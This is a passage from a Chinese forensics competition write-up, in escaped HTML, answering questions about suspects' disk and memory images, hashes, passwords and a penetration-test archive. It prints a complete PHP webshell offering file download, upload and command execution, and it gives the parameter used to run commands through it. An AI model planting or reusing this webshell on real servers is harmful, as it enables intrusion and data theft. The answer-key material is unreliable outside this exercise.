\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u627e\u51fa\u5218\u6d0b\u8ba1\u7b97\u673a\u5185\u7684\u4ea4\u6613\u4fe1\u606f.rar\uff0c\u7ed9\u51fa\u8be5\u6587\u4ef6\u7684\u6253\u5f00\u5bc6\u7801\uff1f[\u7b54\u6848\u683c\u5f0f\uff1ap@ssw0rd123]<\/p>\n\n\n\n
pgscup@9541<\/strong><\/p>\n\n\n\n
\u62ff\u6700\u5f00\u59cb\u6302\u8f7dVC\u5f97\u5230\u7684\u5bc6\u7801\u8fdb\u884c\u5bfc\u51fa\u8fd9\u4e2arar<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u62ffpasswarekit\u7206\u7834\u5f97\u5230\u5bc6\u7801\uff1apgscup@9541<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
22<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bliuyang_pc.E01\u68c0\u6750\uff0c\u627e\u51fa\u5218\u6d0b\u8ba1\u7b97\u673a\u5185\u5218\u6842\u8363\u7684\u8eab\u4efd\u8bc1\u53f7\u7801\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a5\u2026..1]<\/p>\n\n\n\n
rar\u91cc\u9762\u5168\u662f\u8868\u683c\uff0c\u76f4\u63a5\u641c\u7d22<\/p>\n\n\n\n
\u641c\u51fa\u6765\u4e09\u4e2a\u3002\u3002\u3002<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
420100194707075594\n420100200106295186\n500000196606302245<\/code><\/pre>\n\n\n\n
\u6709\u4e09\u4e2a….\u4e0d\u77e5\u9053\u7b54\u6848\u9009\u54ea\u4e2a<\/p>\n\n\n\n
ly-memdump.mem<\/h2>\n\n\n\n
23<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bly-memdump.mem\u955c\u50cf\uff0c\u7ed9\u51fa\u7528\u6237\u5218\u6d0b\u7684NT\u54c8\u5e0c\u503c\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a\u6570\u5b57\u5b57\u6bcd\u7ec4\u5408\uff0c\u5b57\u6bcd\u5c0f\u5199]<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
876dfe7bd78730b7b0baaf451414de8e<\/strong><\/p>\n\n\n\n
24<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bly-memdump.mem\u955c\u50cf\uff0c\u7ed9\u51fa1Password\u5bc6\u7801\u7ba1\u7406\u5668\u7684\u6570\u636e\u5e93\u6587\u4ef6\u540d\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a123ABc.abc]<\/p>\n\n\n\n
1Password10.sqlite<\/strong><\/p>\n\n\n\n
\u5728lovelymem\u7684\u6587\u4ef6\u641c\u7d22\u91cc\u9762\u641c\u7d221Password<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u77e5\u8bc6\u70b9\uff1a<\/p>\n\n\n\n
\u6587\u4ef6\u540d<\/th>\u8bf4\u660e<\/th><\/tr><\/thead>
1password.sqlite<\/code><\/td>\u4e3b\u6570\u636e\u5e93\u6587\u4ef6\uff08\u6700\u5e38\u89c1\uff09<\/td><\/tr>
B5.sqlite<\/code><\/td>1Password \u8d26\u6237\u6570\u636e\u5e93\uff08B5 \u6307 1Password \u7684\u4e91\u7aef\u670d\u52a1\u67b6\u6784\u4ee3\u53f7\uff09<\/td><\/tr>
1password10.sqlite<\/code><\/td>\u8f83\u65b0\u7248\u672c\u7684\u6570\u636e\u5e93<\/td><\/tr>
op.sqlite<\/code><\/td>1Password CLI \u5de5\u5177\u7684\u6570\u636e\u5e93<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
25<\/h3>\n\n\n\n
\u5206\u6790\u5218\u6d0bly-memdump.mem\u955c\u50cf\uff0c1Password\u5728VeraCrypt\u542f\u52a8\u540e\u7ea6\u591a\u5c11\u5206\u949f\u542f\u52a8\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a123]<\/p>\n\n\n\n
2<\/strong><\/p>\n\n\n\n
\u8fdb\u7a0b\u5217\u8868\u641c\u7d22VeraCrypt<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u518d\u641c1Password<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
(\u8fd9\u91cc\u7684createTime\u6307\u7684\u662f\u8fdb\u7a0b\u521b\u5efa\u7684\u65f6\u95f4\uff0c\u4e5f\u5c31\u662fexe\u7684\u542f\u52a8)<\/p>\n\n\n\n
\u76f8\u51cf\u5373\u53ef\u5f97\u5230\u7b54\u68482<\/p>\n\n\n\n
\u9ec4\u5fd7\u8fdcPC.E01<\/h2>\n\n\n\n
26<\/h3>\n\n\n\n
\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\uff0c\u9ec4\u5fd7\u8fdc\u4f7f\u7528\u7684ai agent\u7684\u540d\u79f0\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1awww]<\/p>\n\n\n\n
hermes<\/strong><\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\uff08\u8fd9\u91cc\u9700\u8981\u7ecf\u9a8c\u79ef\u7d2f\uff0cLinux\u6ca1\u6709hermes\u8fd9\u4e2a\u547d\u4ee4\uff09<\/p>\n\n\n\n
27<\/h3>\n\n\n\n
\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\uff0c\u9ec4\u5fd7\u8fdc\u4f7f\u7528\u7684\u6a21\u578bapi\u540e4\u4f4d\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aabcd]<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
PC.E01\/\u5206\u533a2\/home\/kali\/.hermes\/state.db<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u4e5f\u53ef\u4ee5\u7528DBbrowser\u770b<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5b8c\u7f8e\uff01\u6211\u5df2\u7ecf\u6210\u529f\u66f4\u65b0\u4e86\uff1a\n\n1. **DeepSeek API\u5bc6\u94a5**\uff1a\u5df2\u66f4\u65b0\u4e3a `sk-dfesagheoghjopghjihgioa`\n2. **Discord Bot Token**\uff1a\u5df2\u66f4\u65b0\u4e3a `dfjaoegjhoegeasgoeihgioengoeng`\n\n\u914d\u7f6e\u66f4\u65b0\u5b8c\u6210\uff01\u73b0\u5728Hermes Agent\u5c06\u4f7f\u7528\u65b0\u7684API\u5bc6\u94a5\u8fde\u63a5\u5230DeepSeek\uff0c\u5e76\u4f7f\u7528\u65b0\u7684Discord Bot Token\u8fde\u63a5\u5230Discord\u3002\n\n**\u6ce8\u610f**\uff1a\u4e3a\u4e86\u8ba9\u66f4\u6539\u751f\u6548\uff0c\u4f60\u53ef\u80fd\u9700\u8981\u91cd\u542fHermes\u670d\u52a1\uff08\u5982\u679c\u5b83\u6b63\u5728\u8fd0\u884c\uff09\u3002\u4f60\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u91cd\u542f\uff1a\n\n```bash\nhermes restart\n```\n\n\u6216\u8005\u5982\u679c\u4f7f\u7528\u4e86systemd\u670d\u52a1\uff1a\n```bash\nsystemctl --user restart hermes-gateway\n```\n\n\u66f4\u65b0\u5b8c\u6210\uff01<\/code><\/pre>\n\n\n\n
28<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\uff0c\u9ec4\u5fd7\u8fdc\u603b\u5171\u653b\u51fb\u4e86\u591a\u5c11\u53f0\u4e3b\u673a\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a123]<\/p>\n\n\n\n
16<\/strong><\/p>\n\n\n\n
\u5728\u76ee\u5f55\u91cc\u9762\u627e\u5230\u4e00\u4e2a\u52a0\u5bc6\u7684RAR<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5728kali\/ \u6e17\u900f\u5bc6\u7801\u91cc\u9762\u627e\u5230\u4e00\u5806\u56fe\u7247\uff0c\u663e\u7136\u8fd9\u662f\u4e2a\u62fc\u56fe\u90e8\u5206<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5bf9\u7740reference.png\u8fdb\u884c\u62fc\u56fe\uff08\u8fd9\u91cc\u91c7\u7528montage+gaps\u81ea\u52a8\u6392\u5e8f\u7684\u65b9\u6cd5\uff09<\/p>\n\n\n\n
magick montage patch_*.png -tile 20x25 -geometry +0+0 flag.png<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\uff08\u6b64\u5904\u53ef\u4ee5\u77aa\u773c\u6cd5\u51fa\u5bc6\u7801\uff09\u6574\u4f53\u50cf\u7d20\uff1a600*1025\uff0c\u56fe\u7247\u788e\u7247\u50cf\u7d20:30*41,\u5f97\u523020\u5217*25\u884c<\/p>\n\n\n\n
\uff08gaps\u505a\u6cd5\uff0c\u8fd9\u91cc\u662f\u81ea\u5df1\u7684gaps.py\uff09<\/p>\n\n\n\n
python gaps.py run 1.png 2.png --size=30 --generations=50 --population=1000 --debug<\/code><\/pre>\n\n\n\n
\u627e\u5230\u5bc6\u7801\uff1b<\/p>\n\n\n\n
\u4eca\u665a\u53bb\u6740\u9b3c<\/code><\/pre>\n\n\n\n
 \u6253\u5f00\u538b\u7f29\u5305\uff0c\u5f97\u5230\u6e17\u900f\u62a5\u544a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
29<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u53cd\u7f16\u8bd1exploit\u4e8c\u8fdb\u5236\u6587\u4ef6\u53d1\u73b0\u5176\u8c03\u7528\u4e86setuid()\u3001setgid()\u548csystem(“\/bin\/bash”)\uff0c\u8be5\u7a0b\u5e8f\u7684\u6e90\u6587\u4ef6\u7f16\u8bd1\u524d\u540d\u79f0\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1axxx.c]<\/p>\n\n\n\n
exploit.c<\/strong><\/p>\n\n\n\n
\u7528Ida\u6253\u5f00\uff0c\u53cd\u7f16\u8bd1main\u51fd\u6570\uff0c\u53d1\u73b0\u8c03\u7528\u8fd9\u4e9b\u51fd\u6570<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u662fC\u8bed\u8a00\u8c03\u7528\u7684\u51fd\u6570\uff0c\u6587\u4ef6\u662fC\u8bed\u8a00<\/p>\n\n\n\n
\u653e\u5230kali\u91cc\u9762\u7528string\u63d0\u53d6<\/p>\n\n\n\n
\u63d0\u53d6\u5b57\u7b26\u4e32 ‘ strings exploit '<\/code>\u770b\u5230\u4e24\u4e2a.c\u6587\u4ef6<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7279\u5f81<\/th>crtstuff.c<\/code><\/th>exploit.c<\/code><\/th><\/tr><\/thead>
\u6765\u6e90<\/strong><\/td>GCC \u7f16\u8bd1\u5668\u5185\u7f6e<\/td>\u7528\u6237\u7f16\u5199<\/td><\/tr>
\u4f5c\u7528<\/strong><\/td>C \u8fd0\u884c\u65f6\u521d\u59cb\u5316\uff08\u6240\u6709 C \u7a0b\u5e8f\u90fd\u6709\uff09<\/td>\u7a0b\u5e8f\u7684\u5b9e\u9645\u4e1a\u52a1\u903b\u8f91<\/td><\/tr>
\u51fa\u73b0\u4f4d\u7f6e<\/strong><\/td>\u4efb\u4f55 GCC \u7f16\u8bd1\u7684 ELF \u6587\u4ef6\u90fd\u4f1a\u51fa\u73b0<\/td>\u53ea\u6709\u8fd9\u4e2a\u7279\u5b9a\u7a0b\u5e8f\u624d\u6709<\/td><\/tr>
\u53ef\u8fa8\u8bc6\u5ea6<\/strong><\/td>\u901a\u7528\u3001\u6807\u51c6<\/td>\u4e0e\u7a0b\u5e8f\u529f\u80fd\u76f4\u63a5\u76f8\u5173<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
\u6240\u4ee5\u5f97\u5230\u7b54\u6848<\/p>\n\n\n\n
30<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0cWebshell \u529f\u80fd\u903b\u8f91\u7814\u5224\u89c2\u5bdf file_shell.php \u7684\u6e90\u7801\uff0c\u82e5\u653b\u51fb\u8005\u8bf7\u6c42 ?download=\/etc\/passwd\uff0c\u7a0b\u5e8f\u6267\u884c\u7684\u6838\u5fc3\u51fd\u6570\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1afunc()]<\/p>\n\n\n\n
readfile()<\/strong><\/p>\n\n\n\n
\u6253\u5f00\u4ee3\u7801\uff1a<\/p>\n\n\n\n
<?php\nif(isset($_GET['download'])) {\n    $file = $_GET['download'];\n    if(file_exists($file)) {\n        header('Content-Type: application\/octet-stream');\n        header('Content-Disposition: attachment; filename=\"'.basename($file).'\"');\n        readfile($file);               \u300a-------------------------\u53d1\u73b0\u6b64\u5904\u5173\u952e\u6838\u5fc3\u51fd\u6570!!!!!!!\n        exit;\n    }\n}\n\nif(isset($_FILES['file'])) {\n    $target = basename($_FILES['file']['name']);\n    if(move_uploaded_file($_FILES['file']['tmp_name'], $target)) {\n        echo \"File uploaded: $target<br>\";\n    }\n}\n\nif(isset($_GET['cmd'])) {\n    system($_GET['cmd']);\n}\n?>\n<form method=\"post\" enctype=\"multipart\/form-data\">\n<input type=\"file\" name=\"file\">\n<input type=\"submit\" value=\"Upload\">\n<\/form>\n<form method=\"get\">\n<input type=\"text\" name=\"cmd\" placeholder=\"Command\">\n<input type=\"submit\" value=\"Execute\">\n<\/form><\/code><\/pre>\n\n\n\n
31<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0cNikto\u626b\u63cf\u7ed3\u679c\u53d1\u73b0\u901a\u8fc7\u53d1\u9001\u8d85\u957f\u659c\u6760\u5e8f\u5217\u53ef\u4ee5\u63a2\u6d4b\u76ee\u5f55\u5217\u4e3e\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u7684CVE\u7f16\u53f7\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aCVE-XXXX-XXXX]<\/p>\n\n\n\n
CVE-2002-1078<\/strong><\/p>\n\n\n\n
\".\\PGS\u8ba1\u7b97\u673a\u90e8\u5206\\\u6e17\u900f\\pentest-lab\\nikto_scan.txt.txt\"\n<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u4e0b\u56fe\u662f\u6700\u5f00\u59cb\u9519\u8bef\u505a\u6cd5\uff0c\u9898\u76ee\u5199\u7684\u662f\u901a\u8fc7\u8d85\u957f\/\/\/\u7684CVE\uff0c\u6240\u4ee5\u5e94\u8be5\u662f\u540e\u9762\u90a3\u4e2aCVE<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
32<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0cSQLite \u6570\u636e\u5e93\u7ed3\u6784\u5206\u6790\u5728 users \u8868\u7684\u5b9a\u4e49\u4e2d\uff0cid \u5b57\u6bb5\u4f7f\u7528\u4e86 AUTOINCREMENT\u3002\u8fd9\u610f\u5473\u7740\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aSQL_KEYWORD]<\/p>\n\n\n\n
AUTOINCREMENT<\/strong><\/p>\n\n\n\n
\n
<\/p>\n<\/blockquote>\n\n\n\n
\u505a\u8fd9\u4e2a\u9898\u7684\u65f6\u5019\u6ca1\u6709\u8bfb\u61c2\u610f\u601d\uff0c\u8ddf\u7740\u9898\u76ee\u4e00\u904d\u4e00\u904d\u6765\uff0c\u5728\u6e17\u900f\u62a5\u544a\u8868\u4e2d\u53ef\u4ee5\u627e\u5230<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
AUTOINCREMENT\u662fSQLite\u7684\u5173\u952e\u5b57<\/p>\n\n\n\n
\u786e\u4fddid\u5b57\u6bb5\u81ea\u52a8\u9012\u589e\u4e14\u6c38\u4e0d\u91cd\u7528\u5df2\u5220\u9664\u7684ID\u503c<\/p>\n\n\n\n
\u4e0e\u5355\u7eaf\u7684PRIMARY KEY\u4e0d\u540c\uff0cAUTOINCREMENT\u4fdd\u8bc1ID\u4e25\u683c\u9012\u589e<\/p>\n\n\n\n
\u6240\u4ee5\u8fd9\u610f\u5473\u7740 id<\/code> \u5b57\u6bb5\u7684\u503c\u4f1a\u81ea\u52a8\u751f\u6210\uff0c\u4e14\u4e25\u683c\u5355\u8c03\u9012\u589e\u3001\u6c38\u4e0d\u91cd\u590d<\/strong>\uff0c\u5e38\u7528\u4e8e\u4e3b\u952e\uff08\u5982\u7528\u6237 ID\u3001\u8ba2\u5355\u53f7\u7b49\u9700\u8981\u552f\u4e00\u6807\u8bc6\u7684\u573a\u666f\uff09\u3002<\/p>\n\n\n\n
\u56e0\u4e3a\u672c\u4eba\u611f\u89c9\u8bed\u6587\u7406\u89e3\u4e0a\u5f88\u5403\u529b\uff0c\u6240\u4ee5\u8fd9\u4e2a\u5730\u65b9\u653e\u4e2aai\u89e3\u91ca<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
33<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0cWebshell \u547d\u4ee4\u6267\u884c\u53c2\u6570\u82e5\u8981\u5229\u7528 file_shell.php \u83b7\u53d6\u5f53\u524d\u7cfb\u7edf\u7684\u7528\u6237\u6743\u9650\uff0c\u6b63\u786e\u7684 URL \u53c2\u6570\u6784\u9020\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1acmd=xxx]\u3001<\/p>\n\n\n\n
cmd=id<\/strong><\/p>\n\n\n\n
if(isset($_GET['cmd'])) {\n    system($_GET['cmd']);\n}<\/code><\/pre>\n\n\n\n
Linux\u7cfb\u7edf\u4e2did<\/code> \u547d\u4ee4\u7528\u4e8e\u663e\u793a\u5f53\u524d\u7528\u6237\u6216\u6307\u5b9a\u7528\u6237\u7684\u8eab\u4efd\u6807\u8bc6\u4fe1\u606f\uff0c\u5305\u62ec\u7528\u6237 ID\u3001\u7ec4 ID \u7b49\u3002\u8fd9\u4e9b ID \u662f Linux \u6743\u9650\u5212\u5206\u7684\u57fa\u7840\u3002\uff08\u503c\u5f97\u6ce8\u610f\u7684\u662fID\u662f\u4e00\u79cd\u547d\u4ee4\uff0cuid\/gid\/groups\u8fd9\u4e9b\u662f\u4fe1\u606f\uff09<\/strong><\/p>\n\n\n\n

 Linux \u6743\u9650\u4e09\u5c42\u7ed3\u6784\uff1a                 
1. \u6240\u6709\u8005 (Owner) \u2192 uid \u51b3\u5b9a <\/p>\n\n\n\n
2. \u6240\u5c5e\u7ec4 (Group) \u2192 gid \u51b3\u5b9a <\/p>\n\n\n\n
 3. \u5176\u4ed6\u4eba (Others) \u2192 \u975e uid\/gid \u7528\u6237 
<\/p>\n\n\n\n
UID \u503c<\/th>\u7528\u6237<\/th>\u6743\u9650\u7ea7\u522b<\/th><\/tr><\/thead>
0<\/code><\/td>root<\/strong><\/td>\u8d85\u7ea7\u7ba1\u7406\u5458\uff0c\u7cfb\u7edf\u6700\u9ad8\u6743\u9650<\/td><\/tr>
1-999<\/code><\/td>\u7cfb\u7edf\u7528\u6237<\/td>\u8fd0\u884c\u7cfb\u7edf\u670d\u52a1\uff0c\u6743\u9650\u53d7\u9650<\/td><\/tr>
1000+<\/code><\/td>\u666e\u901a\u7528\u6237<\/td>\u65e5\u5e38\u64cd\u4f5c\uff0c\u9ed8\u8ba4\u53ea\u80fd\u8bbf\u95ee\u81ea\u5df1\u7684\u6587\u4ef6<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
34<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0cAPI \u7aef\u53e3\u98ce\u9669\u5224\u5b9a8000\u7aef\u53e3\u8fd0\u884c\u7684\u6280\u672f\u7ec4\u4ef6\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aXxxYyy]<\/p>\n\n\n\n
FastApi<\/strong><\/p>\n\n\n\n
\u5728\u901a\u8baf\u5f55\u7ba1\u7406\u7cfb\u7edf\u6f0f\u6d1e\u6e05\u5355.md\u4e2d\u627e\u5230\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
35<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u6570\u636e\u5e93\u5b58\u50a8\u5b89\u5168\u6027\u8bc4\u4f30users \u8868\u7684\u5bc6\u7801\u5b58\u50a8\u5b58\u5728\u4ec0\u4e48\u5b89\u5168\u9690\u60a3\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aCVE-XXXX-XXXX]<\/p>\n\n\n\n
CVE-2026-0005<\/strong><\/p>\n\n\n\n
\u6e17\u900f\u6d4b\u8bd5\u62a5\u544a_192.168.61.135.md<\/code><\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
36<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u5229\u7528\u6761\u4ef6\u5229\u7528 upload.php \u4e0a\u4f20\u6f0f\u6d1e\u540e\uff0c\u653b\u51fb\u8005\u5229\u7528 Webshell \u524d\u6700\u5173\u952e\u7684\u4e00\u6b65\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1axxx\/<\/p>\n\n\n\n
uploads\/<\/strong><\/p>\n\n\n\n
\u5728\u901a\u8baf\u5f55\u7ba1\u7406\u7cfb\u7edf\u6f0f\u6d1e\u6e05\u5355.md<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
37<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u6839\u636e\u901a\u8baf\u5f55\u7ba1\u7406\u7cfb\u7edf\u6f0f\u6d1e\u6e05\u5355\uff0cCVE-2026-0003\uff08\u65e0\u9650\u5236\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\uff09\u7684CVSS\u8bc4\u5206\u662f\u591a\u5c11\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a1.2]<\/p>\n\n\n\n
8.8<\/strong><\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
38<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u6839\u636efile_shell.php\u6e90\u7801\uff0c\u6587\u4ef6\u4e0a\u4f20\u529f\u80fd\u4f7f\u7528\u54ea\u4e2aPHP\u51fd\u6570\u5c06\u4e34\u65f6\u6587\u4ef6\u79fb\u52a8\u5230\u76ee\u6807\u8def\u5f84\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aphp_func]<\/p>\n\n\n\n
move_uploaded_file<\/strong><\/p>\n\n\n\n
if(isset($_FILES['file'])) {\n    $target = basename($_FILES['file']['name']);\n    if(move_uploaded_file($_FILES['file']['tmp_name'], $target)) {\n        echo \"File uploaded: $target<br>\";\n    }\n}<\/code><\/pre>\n\n\n\n
39<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0cWeb \u76ee\u5f55\u904d\u5386\u9690\u60a3uploads\/ \u76ee\u5f55\u542f\u7528\u76ee\u5f55\u5217\u8868\u529f\u80fd\u901a\u5e38\u7531\u54ea\u4e2a\u7ec4\u4ef6\u63a7\u5236\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aapache_opt]<\/p>\n\n\n\n
apache_Indexes<\/strong><\/p>\n\n\n\n
\u5728\u6f0f\u6d1e\u6e05\u5355\u4e2d\u53ef\u4ee5\u770b\u5230<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
Apache\u901a\u8fc7Options<\/code>\u6307\u4ee4\u4e2d\u7684Indexes<\/code>\u9009\u9879\u63a7\u5236\u76ee\u5f55\u5217\u8868\u7684\u5f00\u542f  <\/p>\n\n\n\n
Apache \u9009\u9879<\/th>\u4f5c\u7528<\/th><\/tr><\/thead>
Indexes<\/code><\/td>\u76ee\u5f55\u5217\u8868<\/td><\/tr>
FollowSymLinks<\/code><\/td>\u5141\u8bb8\u7b26\u53f7\u94fe\u63a5<\/td><\/tr>
Includes<\/code><\/td>\u5141\u8bb8 SSI<\/td><\/tr>
ExecCGI<\/code><\/td>\u5141\u8bb8 CGI \u6267\u884c<\/td><\/tr>
MultiViews<\/code><\/td>\u5185\u5bb9\u534f\u5546<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
40<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u654f\u611f\u51ed\u636e\u6df1\u5ea6\u5173\u8054\u5728 address_book.db \u4e2d\uff0c\u7ba1\u7406\u5458\u5bc6\u7801 Str0ngP@ssw0rd2026! \u662f\u4ec0\u4e48\u89d2\u8272\uff1f[\u7b54\u6848\u683c\u5f0f\uff1aSQL_DEFAULT]<\/p>\n\n\n\n
\u6309\u7167\u9898\u76ee\u6253\u5f00db<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
41<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u6570\u636e\u89c4\u6a21\u4e0e\u98ce\u9669\u8bc4\u4f30\u906d\u53d7\u6cc4\u9732\u7684\u4e2a\u4eba\u8054\u7cfb\u4eba\u4fe1\u606f\u6761\u6570\u5927\u7ea6\u4e3a\u591a\u5c11\uff1f[\u7b54\u6848\u683c\u5f0f\uff1a12345]<\/p>\n\n\n\n
15000<\/strong><\/p>\n\n\n\n
\u901a\u8baf\u5f55\u7ba1\u7406\u7cfb\u7edf\u6f0f\u6d1e\u6e05\u5355\u4e2d\u53ef\u4ee5\u770b\u5230<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
42<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u7cfb\u7edf\u8fd0\u884c\u6743\u9650\u5206\u6790Web\u670d\u52a1\u5668\u8fd0\u884c\u7684\u7528\u6237\u8eab\u4efd\u662f\u4ec0\u4e48\uff1f[\u7b54\u6848\u683c\u5f0f\uff1axxx-xxx]<\/p>\n\n\n\n
www-data<\/strong><\/p>\n\n\n\n
\u4f9d\u65e7\u8fd9\u4e2amd\u91cc\u9762\u53ef\u4ee5\u627e\u5230<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
43<\/h3>\n\n\n\n
\u8bf7\u5206\u6790\u9ec4\u5fd7\u8fdcPC.E01\u955c\u50cf\u4e2d\u7684\u6e17\u900f.rar\u6587\u4ef6\uff0c\u547d\u4ee4\u884c\u6ce8\u5165\u6f0f\u6d1e\u8bc6\u522b\u9a8c\u8bc1 tools.php \u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u65f6\uff0c\u54ea\u4e2a\u547d\u4ee4\u8fd4\u56de\u4e86uid\u7684\u503c\uff1f[\u7b54\u6848\u683c\u5f0f\uff1acmd]<\/p>\n\n\n\n
id<\/strong><\/p>\n\n\n\n
\u8fd9\u4e2amd\u91cc\u9762\u641c\u7d22tools.php\u53ef\u4ee5\u5feb\u901f\u627e\u5230<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
44<\/h3>\n\n\n\n
